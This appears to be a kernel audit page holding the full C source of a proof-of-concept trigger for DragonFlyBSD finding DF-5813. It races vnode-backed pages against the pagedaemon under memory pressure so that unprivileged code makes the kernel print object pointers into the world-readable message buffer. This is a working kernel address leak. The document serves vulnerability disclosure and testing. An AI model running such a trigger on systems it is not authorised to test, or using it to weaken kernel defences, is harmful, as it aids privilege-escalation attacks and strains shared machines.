โฌข DragonFlyBSD Kernel Audit
DF-5813 / df5813_leakstress.c
โ† back to finding โ†“ download raw
/*
 * DF-5813 trigger v4 โ€” race vnode-backed pages against the pagedaemon.
 *
 * Targets (all unprivileged, all land in the world-readable msgbuf):
 *   vm_pageout.c:1340/1350/1356 "rebusy %p failed(A|B|C)"  โ€” page state
 *       changed while the daemon was blocked in vget(LK_TIMELOCK)
 *       inside vm_pageout_page().
 *   vm_pageout.c:1728 "WARNING! page race during find/busy: %p ..." โ€”
 *       page raced off PQ_CACHE between vm_page_list_find() and
 *       vm_page_busy_try() in vm_pageout_scan_cache().
 *
 * State-machine rationale (v4): for the daemon to reach the vget the
 * page must be dirty+valid, sit UNREFERENCED on PQ_INACTIVE long
 * enough to be WINATCFLS-cycled (vm_pageout.c:1147-1170), and then be
 * picked on a later pass (pass >= 1).  So writers dirty the files and
 * then ABANDON them for a decay window (touching keeps act_count maxed
 * and the page active forever).  During the decay window a syncer
 * competes as a cleaner (fsync/msync hold the vnode lock, blocking the
 * daemon's vget, while flushing the very pages the daemon picked) and
 * a cacher churns clean pages against the PQ_CACHE scanner.  An anon
 * hog keeps free+cache below the daemon's target the whole time.
 *
 * build: cc -O2 -o df5813_leakstress df5813_leakstress.c -lpthread
 * run:   ./df5813_leakstress <workdir> <seconds> [hog_MB]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <sys/mman.h>

#define NFILES     6
#define FILESIZE   (32UL * 1024 * 1024)
#define CHUNK      (1UL * 1024 * 1024)
#define DIRTY_SECS 8
#define DECAY_SECS 25

static char g_dir[512];
static volatile int g_stop;
static unsigned long g_hog_mb;
static char *g_maps[NFILES];
static int g_fds[NFILES];
static char pbuf[NFILES][600];

static void *
memhog_main(void *arg)
{
	size_t sz = (size_t)g_hog_mb * 1024 * 1024, i;
	char *p;

	(void)arg;
	if (sz == 0)
		return (NULL);
	if ((p = malloc(sz)) == NULL)
		return (NULL);
	for (i = 0; i < sz; i += 4096)
		p[i] = (char)(i >> 12);
	while (!g_stop) {
		for (i = 0; i < sz && !g_stop; i += 4096)
			p[i] ^= 0x5A;
		usleep(50000);
	}
	free(p);
	return (NULL);
}

/* writers: dirty everything, then ABANDON (decay) so pages deactivate,
 * get WINATCFLS-cycled, and reach the daemon's vget launder branch */
static void *
writer_main(void *arg)
{
	size_t off;
	int fi, phase;
	time_t t0;

	(void)arg;
	while (!g_stop) {
		for (fi = 0; fi < NFILES && !g_stop; ++fi) {
			if (g_maps[fi] == MAP_FAILED)
				continue;
			t0 = time(NULL);
			while (time(NULL) - t0 < DIRTY_SECS && !g_stop) {
				for (off = 0; off < FILESIZE; off += CHUNK)
					memset(g_maps[fi] + off,
					    (int)((off >> 16) ^ (fi * 7)),
					    CHUNK);
			}
			/* decay window: hands off these pages */
			t0 = time(NULL);
			while (time(NULL) - t0 < DECAY_SECS && !g_stop)
				sleep(1);
		}
		phase = 0; (void)phase;
	}
	return (NULL);
}

/* syncer: competing cleaner โ€” fsync (buffer flush under the vnode
 * LK_EXCLUSIVE) + MS_SYNC sweep of its own mapping; races the daemon's
 * laundering of the same pages -> (C); INVALIDATE + refaults -> (A)/(B) */
static void *
syncer_main(void *arg)
{
	size_t off;
	int fd, fi;
	char *m;

	(void)arg;
	while (!g_stop) {
		for (fi = 0; fi < NFILES && !g_stop; ++fi) {
			fd = open(pbuf[fi], O_RDWR);
			if (fd < 0)
				continue;
			fsync(fd);
			m = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE,
				 MAP_SHARED, fd, 0);
			if (m != MAP_FAILED) {
				for (off = 0; off < FILESIZE && !g_stop;
				     off += CHUNK)
					msync(m + off, CHUNK, MS_SYNC);
				for (off = 0; off < FILESIZE && !g_stop;
				     off += CHUNK)
					msync(m + off, CHUNK, MS_INVALIDATE);
				munmap(m, FILESIZE);
			}
			close(fd);
			usleep(250000);
		}
	}
	return (NULL);
}

/* cacher: fault/dontneed churn against the PQ_CACHE scanner */
static void *
cacher_main(void *arg)
{
	size_t off, j;
	int fd, fi;
	char *m, sum = 0;

	(void)arg;
	while (!g_stop) {
		for (fi = 0; fi < NFILES && !g_stop; ++fi) {
			fd = open(pbuf[fi], O_RDONLY);
			if (fd < 0)
				continue;
			m = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED,
				 fd, 0);
			if (m != MAP_FAILED) {
				for (off = 0; off < FILESIZE && !g_stop;
				     off += CHUNK) {
					for (j = 0; j < CHUNK; j += 4096)
						sum += m[off + j];
					madvise(m + off, CHUNK, MADV_DONTNEED);
				}
				munmap(m, FILESIZE);
			}
			close(fd);
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[5];
	int runtime = 300, i;
	time_t t0;

	if (argc > 1)
		snprintf(g_dir, sizeof(g_dir), "%s", argv[1]);
	else
		snprintf(g_dir, sizeof(g_dir), ".");
	if (argc > 2)
		runtime = atoi(argv[2]);
	if (argc > 3)
		g_hog_mb = strtoul(argv[3], NULL, 0);

	for (i = 0; i < NFILES; ++i) {
		snprintf(pbuf[i], sizeof(pbuf[i]), "%s/f%02d", g_dir, i);
		g_fds[i] = open(pbuf[i], O_RDWR | O_CREAT | O_TRUNC, 0600);
		if (g_fds[i] < 0) { perror("open"); return 1; }
		if (ftruncate(g_fds[i], FILESIZE) != 0) {
			perror("ftruncate");
			return 1;
		}
		g_maps[i] = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE,
				 MAP_SHARED, g_fds[i], 0);
	}
	fprintf(stderr, "dir=%s files=%dx%dMB runtime=%ds hog=%luMB pid=%d\n",
	    g_dir, NFILES, (int)(FILESIZE >> 20), runtime, g_hog_mb,
	    (int)getpid());

	t0 = time(NULL);
	if (pthread_create(&th[0], NULL, memhog_main, NULL) != 0)
		return (2);
	if (pthread_create(&th[1], NULL, writer_main, NULL) != 0)
		return (2);
	if (pthread_create(&th[2], NULL, syncer_main, NULL) != 0)
		return (2);
	if (pthread_create(&th[3], NULL, syncer_main, NULL) != 0)
		return (2);
	if (pthread_create(&th[4], NULL, cacher_main, NULL) != 0)
		return (2);

	while (time(NULL) - t0 < (time_t)runtime)
		sleep(2);
	g_stop = 1;
	for (i = 0; i < 5; ++i)
		pthread_join(th[i], NULL);
	for (i = 0; i < NFILES; ++i) {
		if (g_maps[i] != MAP_FAILED)
			munmap(g_maps[i], FILESIZE);
		close(g_fds[i]);
	}
	fprintf(stderr, "done\n");
	return (0);
}